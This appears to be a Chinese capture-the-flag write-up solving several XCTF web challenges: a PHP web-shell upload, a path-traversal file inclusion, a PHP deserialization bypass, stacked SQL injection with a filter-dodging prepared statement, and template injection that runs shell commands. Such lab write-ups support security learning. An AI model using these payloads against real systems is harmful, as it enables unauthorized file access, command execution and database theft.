【攻防世界WEB】难度二星6分:upload1、warmup、Web_php_unserialize、supersq
前言:
介绍:
博主:网络安全领域狂热爱好者。
殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
导读:
面向读者:对于网络安全方面的学者。
目录
推荐
upload1
解题方法:
1、上传一句话木马
过程
准备一句话木马
上传图片一句话木马
将其后缀改为jpg或者png
bp抓包,又改回了php
返回了图片位置
在URL中加上图片地址,返回出,我们输出的字符了
http://61.147.171.105:63781/upload/1658413812.shell.php
使用蚁剑(冰蝎、菜刀)连接
在目录中找到了flag
warmup
解题方法:
1、文件包含,php代码解析
过程
Ctrl+U查看源码
发现了一个页面
发现一个新页面
现在知道了flag文件夹
发现满足3个条件,可以包含我们构造的文件file
1、file变量非空
2、file变量为字符串
3、通过自定义函数checkFile()的检查
自定义函数checkFile()
满足4个if中其中一个即可返回true
能返回true的条件:
1、为字符串
2、存在于数组中
3、截取参数中首次出现?之前的部分,该部分在$whitelist数组中
4、先进行 url 解码,再截取参数中首次出现?之前的部分,该部分在$whitelist中
payload
利用第三个 if
payload1:
source.php?file=source.php?/../../../../ffffllllaaaagggg
payload2:
source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg
(第一个?用来传参,第二个?用来截断前面的,source.php是在$whitelist中的)
(../的个数是指一直找的层数,多几层不要紧)
(第二个?,二次URL编码为%253f,服务器解码一次,checkFile函数解码一次)
payload1:
payload2:
Web_php_unserialize
解题方法:
1、php代码解析,序列化与反序列化
过程
flag在flag.php文件中
1、绕过base64_decode函数:对构造的语句进行base64编码
2、绕过preg_match函数:加个加号“+”,在反序列化串O(object)开头,
3、绕过wakeup函数:利用__wakeup()的CVE-2016-7124,在序列化的字符串当中当真实的属性个数大于真实的属性个数时,该函数不会执行
构造
使用php在线运行
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
supersqli
解题方法:
1、SQL注入(堆叠注入,预编译)
过程
加上单引号有报错,说明存在注入点
使用#注释,没有报错,说明为单引号闭合
判断字段数
1'order by 2#
回显正常
1'order by 3#
报错,说明字段数为2
爆库
1'union select 1,database()#
看见存在正则匹配
看来可以使用堆叠注入中的show来查看
1'; show databases; #
查询数据库
查询表
1';use supersqli;show tables;#
查字段
1';use supersqli;show columns from `1919810931114514`;#
纯数字字符串是表名的时候,需要加反引号`
爆数据
因为select被过滤,不能直接查询
考虑使用预编译
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
或者
1'; Set @sql = CONCAT('sele','ct flag from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt;#
Web_python_template_injection
解题方法:
1、python模板漏洞注入
过程
表明存在漏洞
查看全局变量config
可以发现未被禁用
思路1:直接查看服务器的本地文件
思路2:通过python的对象的继承一步步实现文件读取和命令执行,找到父类<type ‘object’--寻找子类---找关于命令执行或者文件操作的模块
/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
读取fl4g的信息
/{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}
web2
解题方法:
1、逆向加密算法,解密获得flag
过程
函数:
1、strrev() 函数:反转字符串
2、substr函数:返回字符串的一部分,substr(string,start,length)
3、ord() 函数:返回字符串的首个字符的 ASCII 值
4、chr() 函数:从指定的 ASCII 值返回字符,chr(ascii)
5、str_rot13() 函数:对字符串执行 ROT13 编码。ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变,str_rot13(string)
解码
就是将加密的顺序反过来
php在线运行
- 点赞
- 收藏
- 关注作者
评论(0)